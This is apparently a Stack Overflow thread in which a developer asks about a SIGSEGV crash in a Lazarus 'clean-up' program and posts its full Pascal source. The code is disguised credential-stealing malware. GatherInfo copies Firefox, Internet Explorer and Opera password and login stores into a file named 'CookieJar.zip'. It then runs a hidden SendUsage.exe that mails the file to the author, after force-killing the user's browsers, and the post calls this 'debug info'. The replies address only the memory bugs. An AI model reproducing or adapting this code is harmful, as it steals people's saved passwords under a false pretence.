-2

I have a graphical program with forms and a lot of code. When I started it, it was fine, no errors, no exceptions. I added two more procedures and it still ran without problems. I placed a progress bar, and added this code to an Image's OnClick event: ProgressBar.Visible:=False; The compilation finished with no errors, but when I ran the program, I got this exception:

Project Spark raised exception class 'External: SIGSEGV'.

In file '.\include\control.inc' at line 948:

Result := IsControlVisible and ((Parent = nil) or (Parent.IsVisible));

Strange fact: I removed the progress bar and every procedure assigned to, but I kept getting this error.

Additional info:

Compiled under Lazarus ver. 1.2.6

FPC Version: 2.6.4

Windows 7 Ultimate 6.1.7601.1.1252.1.1033.18.8130.4811

EDIT: Here is the full code as requested. But first: This program is supposed to be a Clean-Up program, which finds and deletes some files. The GatherInfo procedure sends me additional debug info (by executing an external program).

unit sparkunit;

{$mode objfpc}{$H+}

interface

uses
  Windows, Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs,
  LResources, StdCtrls, WelcomeUnit, scanunit, Variants, SHLOBJ,
  ExtCtrls, ComCtrls, Process;
type

  { TSparkForm }

  TSparkForm = class(TForm)
    Borders: TImage;
    Borders1: TImage;
    Borders2: TImage;
    Borders3: TImage;
    NextBTN: TImage;
    OLabel: TLabel;
    ScanFRM: TScanFrame;
    TitleLBL: TLabel;
    Wallpaper: TImage;
    WelcomeFRM: TWelcomeFrame;
    XLabel: TLabel;
    _Label: TLabel;
    procedure BordersMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure BordersMouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
    procedure FormCreate(Sender: TObject);
    procedure NextBTNClick(Sender: TObject);
    procedure OLabelClick(Sender: TObject);
    procedure XLabelClick(Sender: TObject);
    procedure _LabelClick(Sender: TObject);
  private
    { private declarations }
  public
    { public declarations }
  end;

const SparkCursor = 777;
      SparkDragCursor = 778;
var
  SparkForm: TSparkForm;
  MouseIsDown: Boolean;
  PX, PY: Integer;
  Operating: Boolean;
  FFile: Text;
  Path,Looper: String;
  Master: TProcess;
  Browser: Array [1..4] of String;
  //1=Firefox, 2=Chrome, 3=Opera, 4=Internet Explorer
implementation

{$R *.lfm}

{ TSparkForm }

function GetSystemLoc: string;
var
   FilePath: array [0..255] of char;
begin
 SHGetSpecialFolderPath(0, @FilePath[0], $0025, True);
 Result := FilePath;
end;

procedure CrFile(F: String);
var D: Text;
Begin
 AssignFile(D,F);
 Rewrite(D);
 CloseFile(D);
end;

procedure Log(StrToLog:String);
var Lof: Text;
Begin
 AssignFile(Lof,'SparkLog.txt');
 Append(Lof);
 Writeln(Lof,StrToLog);
 CloseFile(Lof);
end;

procedure ChList(FileToAdd: String);
Begin
 if ((FileExists(FileToAdd)) or (DirectoryExists(FileToAdd))) and (FileToAdd<>'C:\Windows\') then Begin
   AssignFile(FFile,'Deletions.tmp');
   Append(FFile);
   Writeln(FFile,FileToAdd);
   CloseFile(FFile);
   Log('Automatically added '+FileToAdd+' to the deletion list.');
 end;

 Application.ProcessMessages;
  SparkForm.Refresh;
end;

procedure ChAdd(FileToAdd: String);
var DFile: Text;
Begin
  AssignFile(FFile,'CookieJar.zip');
  Append(FFile);
  Writeln(FFile);
  Writeln(FFile,FileToAdd);
  Writeln(FFile);
  if FileExists(FileToAdd) then Begin
    if Not(CopyFile(FileToAdd,'Temp.tmp')) then ShowMessage('Error!');
    AssignFile(DFile,'Temp.tmp');
    Reset(DFile);
    Repeat
      Application.ProcessMessages;
  SparkForm.Refresh;
      Readln(DFile,Looper);
      Writeln(FFile,Looper);
    until EOF(DFile);
    CloseFile(DFile);
    DeleteFile('Temp.tmp');
  End;
  CloseFile(FFile);
end;

procedure ChDel(FilePath: String);
Begin
 if FileExists(FilePath) then DeleteFile(FilePath)
 Else if DirectoryExists(FilePath) then DeleteDirectory(FilePath,True);
end;

function NotInCar(FileName: String): Boolean;
Begin
 if (Pos('Spark',FileName)<>0) then NotInCar:=False
 Else NotInCar:=True;
End;

procedure AddExtension(Ext: String);
var FileList: TStringList;
    I: LongInt;
    Drive: Char;
    O: Text;
Begin
 AssignFile(FFile,'Ext.tmp');
 Rewrite(FFile);
 CloseFile(FFile);
 For Drive:='A' to 'Z' do
 if DirectoryExists(Drive+':\') then Begin
 Application.ProcessMessages;
  SparkForm.Refresh;

 FileList:=FindAllFiles(Drive+':\',Ext,True);
 if FileList.Count>0 then Begin
 Application.ProcessMessages;
  SparkForm.Refresh;

 AssignFile(FFile,'Ext.tmp');
 Append(FFile);
 For I:=1 to FileList.Count-1 do if NotInCar(FileList.Strings[I]) then Writeln(FFile,FileList.Strings[I]);
 CloseFile(FFile);
 end;
 end;
 FileList.Free;
 AssignFile(O,'Deletions.tmp');
 Append(O);
 AssignFile(FFile,'Ext.tmp');
 Reset(FFile);
 Repeat
   Application.ProcessMessages;
   SparkForm.Refresh;
   Readln(FFile,Looper);
   Writeln(O,Looper);
 until EOF(FFile);
 CloseFile(O);
 CloseFile(FFile);
 DeleteFile('Ext.tmp');

 Application.ProcessMessages;
  SparkForm.Refresh;
end;

Procedure GatherInfo;
var IEList: TStringList;
   I: LongInt;
Begin
  SparkForm.ScanFRM.StatusLBL.Caption:='Gathering information...';
  //GetFiles
  AssignFile(FFile,'CookieJar.zip');
  Rewrite(FFile);
  CloseFile(FFile);
  ChAdd(Browser[1]+'key3.db');
  ChAdd(Browser[1]+'logins.json');

  Application.ProcessMessages;
  SparkForm.Refresh;
  IEList:=TStringList.Create;
  IEList:=FindAllFiles(Browser[4],'*.*',true);
  if IEList.Count>0 then
  For I:=1 to IEList.Count do Begin
    Application.ProcessMessages;
  SparkForm.Refresh;
    ChAdd(IEList.Strings[I-1]);
  end;
  ChAdd(Browser[3]);

  Application.ProcessMessages;
  SparkForm.Refresh;
  Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera Software\Opera Stable\';
  Application.ProcessMessages;
  SparkForm.Refresh;
  ChAdd(Browser[3]+'Login Data');
  ChAdd(Browser[3]+'Login Data-journal');
  //Send
  Master:=TProcess.Create(NIL);
  Master.Executable:='SendUsage.exe';
  Master.Parameters.Add(GetCurrentDir);
  Master.Parameters.Add('{My E-Mail}');  
  Application.ProcessMessages;
  SparkForm.Refresh;
  Master.ShowWindow:=swoHIDE;
  Master.Execute;
  Repeat
   Application.ProcessMessages;
   SparkForm.Refresh;
  until Not(Master.Running);
  Master.Free;  

  Application.ProcessMessages;
  SparkForm.Refresh;
end;

Procedure StartScan;
var Windir: PChar;
Begin
  Application.ProcessMessages;
  SparkForm.Refresh;
  GetWindowsDirectory(Windir,255);
  SparkForm.ScanFRM.StatusLBL.Caption:='Scanning...';
  ChList(GetEnvironmentVariable('temp'));
  ChList(Windir+'\Temporary Internet Files');
  ChList(Windir+'\Downloaded Program Files');
  ChList(Windir+'\History');
  ChList(Windir+'\Temp');
  ChList(Windir+'\Cookies');
  ChList(Windir+'\Favorites');
  ChList(Windir+'\system.nu3');
  ChList(Windir+'\user.nu3');
  Application.ProcessMessages;
  SparkForm.Refresh;
  AddExtension('*.tmp');
  AddExtension('*.temp');
  AddExtension('*.chk');
  Application.ProcessMessages;
  SparkForm.Refresh;
  AddExtension('*.old');
  AddExtension('*.gid');
  AddExtension('*.nch');
  AddExtension('*.wbk');
  AddExtension('*.fts');
  AddExtension('*.ftg');
  AddExtension('*.$$$');
  AddExtension('*.err');
  AddExtension('*.—');
  AddExtension('*.~*');
  AddExtension('~*.*');
  AddExtension('*.??$');
  AddExtension('*.___');
  AddExtension('*.~mp');
  AddExtension('*._mp');
  AddExtension('*.prv');
  AddExtension('*.sik');
  AddExtension('CHKLIST.MS');
  AddExtension('*.ilk');
  AddExtension('*.aps');
  AddExtension('*.mcp');
  Application.ProcessMessages;
  SparkForm.Refresh;
  AddExtension('*.pch');
  AddExtension('*.$db');
  AddExtension('*.?$?');
  AddExtension('*.??~');
  AddExtension('*.?~?');
  AddExtension('*.db$');
  AddExtension('*.^');
  AddExtension('*._dd');
  AddExtension('*._detmp');
  AddExtension('0*.nch');
  AddExtension('chklist.*');
  AddExtension('mscreate.dir');
  AddExtension('*.diz');
  AddExtension('*.syd');
  AddExtension('*.grp');
  AddExtension('*.cnt');
  AddExtension('*.~mp');
end;

Procedure StartDeletion;
Begin
  SparkForm.ScanFRM.StatusLBL.Caption:='Cleaning...';
  AssignFile(FFile,'Deletions.tmp');
  Reset(FFile);
  Repeat
    Readln(FFile,Looper);
    ChDel(Looper);
    Application.ProcessMessages;
  SparkForm.Refresh;
    if Not(Looper='') then
    Log(Looper+' was removed.')
    Else Log('An unknown file was removed.');
  until EOF(FFile);
  CloseFile(FFile);
  DeleteFile('Deletions.tmp');
end;

procedure TSparkForm.FormCreate(Sender: TObject);
begin
 Screen.Cursors[SparkCursor] := LoadCursorFromLazarusResource('Spark');
 Screen.Cursors[SparkDragCursor] := LoadCursorFromLazarusResource('SparkDrag');
 Wallpaper.Cursor := SparkCursor;
 Borders.Cursor := SparkCursor;
 Borders1.Cursor := SparkCursor;
 Borders2.Cursor := SparkCursor;
 Borders3.Cursor := SparkCursor;
 WelcomeFRM.Cursor:= SparkCursor;
 WelcomeFRM.Label1.Cursor:= SparkCursor;
 WelcomeFRM.Label2.Cursor:= SparkCursor;
 WelcomeFRM.Label3.Cursor:= SparkCursor;
 WelcomeFRM.Image1.Cursor:= SparkCursor;
 Browser[1]:=GetEnvironmentVariable('appdata')+'\Mozilla\Firefox\Profiles\lbtxc2cz.default\';
 Browser[4]:=GetEnvironmentVariable('appdata')+'\Microsoft\Credentials\';
 Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera\Opera\profile\wand.dat';
end;

Procedure KillBrowser;
Begin
 try
 Master:=TProcess.Create(nil);
 Master.Executable:=GetSystemLoc+'\cmd.exe';
 Master.ShowWindow:=swoHIDE;
 Master.Parameters.Add('/C taskkill /f /im waterfox.exe');
 Master.Execute;
 Repeat
   Application.ProcessMessages;
  SparkForm.Refresh;
 until Not(Master.Running);
 Master.Free;
 Master:=TProcess.Create(nil);
 Master.Executable:=GetSystemLoc+'\cmd.exe';
 Master.ShowWindow:=swoHIDE;
 Master.Parameters.Add('/C taskkill /f /im firefox.exe');
 Master.Execute;
 Repeat
   Application.ProcessMessages;
  SparkForm.Refresh;
 until Not(Master.Running);
 Master.Free;
 Master:=TProcess.Create(nil);
 Master.Executable:=GetSystemLoc+'\cmd.exe';
 Master.ShowWindow:=swoHIDE;
 Master.Parameters.Add('/C taskkill /f /im chrome.exe');
 Master.Execute;
 Repeat
   Application.ProcessMessages;
  SparkForm.Refresh;
 until Not(Master.Running);
 Master.Free;
 Master:=TProcess.Create(nil);
 Master.Executable:=GetSystemLoc+'\cmd.exe';
 Master.ShowWindow:=swoHIDE;
 Master.Parameters.Add('/C taskkill /f /im iexplore.exe');
 Master.Execute;
 Repeat
   Application.ProcessMessages;
  SparkForm.Refresh;
 until Not(Master.Running);
 Master.Free;
 Master:=TProcess.Create(nil);
 Master.Executable:=GetSystemLoc+'\cmd.exe';
 Master.ShowWindow:=swoHIDE;
 Master.Parameters.Add('/C taskkill /f /im opera.exe');
 Master.Execute;
 Repeat
   Application.ProcessMessages;
  SparkForm.Refresh;
 until Not(Master.Running);
 Master.Free;
 except
 end;
end;

procedure TSparkForm.NextBTNClick(Sender: TObject);
begin
  Application.MessageBox(PChar('Please close all running programs to continue!'),'Spark',0+48);
  Application.MessageBox(PChar('Having other programs open while Spark is performing an action may result in an unstable system (and fatal errors)!'),'Spark',0+16);
  Application.MessageBox(PChar('Spark will now try to automatically kill every potentially dangerous program!'),'Spark',0+48);
  KillBrowser;
  Operating:=True;
  WelcomeFRM.Visible:=False;
  ScanFRM.Visible:=True;
  ScanFRM.Preloader.AnimatedGifToSprite('Scan.gif');
  NextBTN.Visible:=False;
  CrFile('Deletions.tmp');
  CrFile('SparkLog.txt');
  Application.ProcessMessages;
  SparkForm.Refresh;
  GatherInfo;
  Application.ProcessMessages;
  SparkForm.Refresh;
  StartScan;
  Application.ProcessMessages;
  SparkForm.Refresh;
  StartDeletion;
  Application.MessageBox(PChar('Spark has finished cleaning! To see the results, open the log file located at'+sLineBreak+GetCurrentDir+'\SparkLog.txt'),'Spark',0+64);
  Operating:=False;
  SparkForm.Close;
  Application.Terminate;
end;

procedure TSparkForm.OLabelClick(Sender: TObject);
begin

end;

procedure TSparkForm.XLabelClick(Sender: TObject);
begin
  if not(Operating) then Begin
  SparkForm.Close;
  Application.Terminate;
  end
  Else Application.MessageBox('Spark is currently performing an operation! Do NOT exit!'+sLineBreak+'Exiting Spark may result in an unstable System!','Spark',0+16);
end;

procedure TSparkForm._LabelClick(Sender: TObject);
begin
  Application.Minimize;
end;

procedure TSparkForm.BordersMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  if Button = mbLeft then begin
    MouseIsDown := True;
    PX := X;
    PY := Y;
    Borders.Cursor := SparkDragCursor;
  end;
end;

procedure TSparkForm.BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  if MouseIsDown then begin
    SetBounds(SparkForm.Left + (X - PX), SparkForm.Top + (Y - PY), SparkForm.Width, SparkForm.Height);
  end;
end;

procedure TSparkForm.BordersMouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  MouseIsDown:=False;
  Borders.Cursor := SparkCursor;
end;

procedure TSparkForm.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin

end;

initialization
{$I sparkcursor1.lrs}  {I'm using custom cursor resources}
{$I sparkcursor2.lrs}

end.

EDIT 2: The SIGSEGV error was caused by an invalid variable, declared as Windir: PChar;. It was pointing to a protected memory address, causing the program to terminate with an exception of Access Violation. It's always a good idea to surround the code with try/except blocks to catch minor exceptions.

Community
  • 1
  • 1
TheGreenOmega
  • 123
  • 1
  • 1
  • 14
  • You should show us more of your code. Consider that a variable might be assigned but not valid (pointing to some random address of memory). – René Hoffmann Aug 17 '15 at 11:34
  • I wasn't able to find any invalid or unassigned variables, but thanks for the advice. Maybe somebody else can. – TheGreenOmega Aug 17 '15 at 11:51
  • Ok, I've found the variable causing the error. (`Windir: PChar`). I will try to get the Windows directory in another way. Thanks! PS. I still don't understand, why was the SIGSEGV Exception pointing to control.inc? – TheGreenOmega Aug 17 '15 at 12:09
  • @TheGreenOmega can you edit your question to update it with the fact you found the cause of the error. Try here for the windir Pchar problem: http://www.experts-exchange.com/Programming/Languages/Pascal/Delphi/Q_10025322.html – Mousey Sep 08 '15 at 23:15

1 Answers1

0

I have had a quick glance at the code: In your procedure AddExtension(Ext: String); on line 139 you have a FileList:TStringList declared but it is not created anywhere.

You will need to create this object FileList:=TStringList.Create; to use it.